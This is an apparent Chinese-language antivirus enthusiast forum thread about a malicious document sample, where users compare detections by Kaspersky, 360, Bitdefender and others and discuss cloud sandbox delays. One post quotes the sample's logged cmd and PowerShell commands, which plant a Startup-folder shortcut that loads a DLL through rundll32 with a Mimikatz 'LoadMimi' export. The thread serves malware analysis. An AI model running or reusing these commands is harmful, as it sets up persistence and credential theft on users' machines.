毒文档勒索病毒1x

ulyanov2233

驭龙 发表于 2025-6-19 23:17
LiveGurad是自动触发，不是扫描触发，或者手动右键提交样本，也可以触发，单纯扫描是不含LiveGurad检测的

我今天手动提这个样本n次了，日志里一次提交记录都没有，看日志里也没触发沙箱，感觉是遇到什么bug了

图钉鱼

疑似针对性APT攻击，类似APT29组织攻击方式，希拉里邮件门攻击的俄罗斯APT组织
恶意文档利用链发起 Mimikatz攻击，LNK持久化。。。恶意DLL见附件，ps:virus

VirusTotal - File - c4a5179a42d9ff2774f7f1f937086c88c4bc7c098963b82cc28a2d41c4449f9e



C:\Windows\SYSTEM32\cmd.exe，启动参数 cmd.exe /C powershell -Command "$s = (New-Object -COM WScript.Shell).CreateShortcut('C:\ProgramData\USOShared\Micro.lnk'); $s.TargetPath = 'C:\Windows\System32\rundll32.exe'; $s.Arguments = '\"C:\ProgramData\USOShared\USOPrivate.dll\" LoadMimi \"C:\Windows\System32\cmd.exe\"'; $s.Save()"


C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe，启动参数 powershell -Command "$s = (New-Object -COM WScript.Shell).CreateShortcut('C:\ProgramData\USOShared\Micro.lnk'); $s.TargetPath = 'C:\Windows\System32\rundll32.exe'; $s.Arguments = '\"C:\ProgramData\USOShared\USOPrivate.dll\" LoadMimi \"C:\Windows\System32\cmd.exe\"'; $s.Save()"
C:\Windows\SYSTEM32\cmd.exe，启动参数 cmd.exe /c move C:\ProgramData\USOShared\Micro.lnk
"C:\Users\xxxx\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Micro.lnk"
C:\Windows\SYSTEM32\cmd.exe，启动参数 cmd.exe /c rundll32.exe C:\ProgramData\USOShared\USOPrivate.dll LoadMimi

munsimli

驭龙 发表于 2025-6-19 23:41
额！我这边没有，解压就直接删除了，没有触发高级清毒

有時我這邊的防護動作跟其他用戶不太一樣，都有些好奇卡巴全球各伺服器的
防護資料或各組件聯動，是否會因在不同區域而不一致或者會有延遲? 像我的
有觸發高級清毒而龍大你的就沒有，這可能得問問熟悉卡巴的前輩們了

LeeHS

cortex 解压杀

T心里隐着D

360 kill

略略略12138

BD

驭龙

ulyanov2233 发表于 2025-6-20 00:19
我今天手动提这个样本n次了，日志里一次提交记录都没有，看日志里也没触发沙箱，感觉是遇到什么bug了

livegurad这几天更换服务器的IP地址了，所以可能是你那边连接出问题，或者新Ip不稳定

驭龙

munsimli 发表于 2025-6-20 02:22
有時我這邊的防護動作跟其他用戶不太一樣，都有些好奇卡巴全球各伺服器的
防護資料或各組件聯動，是否會 ...

我好多年不用卡巴，最近这几个月关注卡巴，发现卡巴的稳定性还是个大问题，尤其是检测率的稳定性，以及云的区域性问题，云的延迟问题也不小

ulyanov2233

驭龙 发表于 2025-6-20 11:32
livegurad这几天更换服务器的IP地址了，所以可能是你那边连接出问题，或者新Ip不稳定

这样的话应该是我这边校园网太烂了。。。

munsimli

驭龙 发表于 2025-6-20 11:35
我好多年不用卡巴，最近这几个月关注卡巴，发现卡巴的稳定性还是个大问题，尤其是检测率的稳定性，以及云 ...

可是...還是習慣卡巴，再來是紅傘

龍大你用過那麼多家殺軟，其他家在雲的區域性與延遲性問題常見嗎?
一個一線廠牌全球資料庫與防護的一致性不是應該很基本嗎?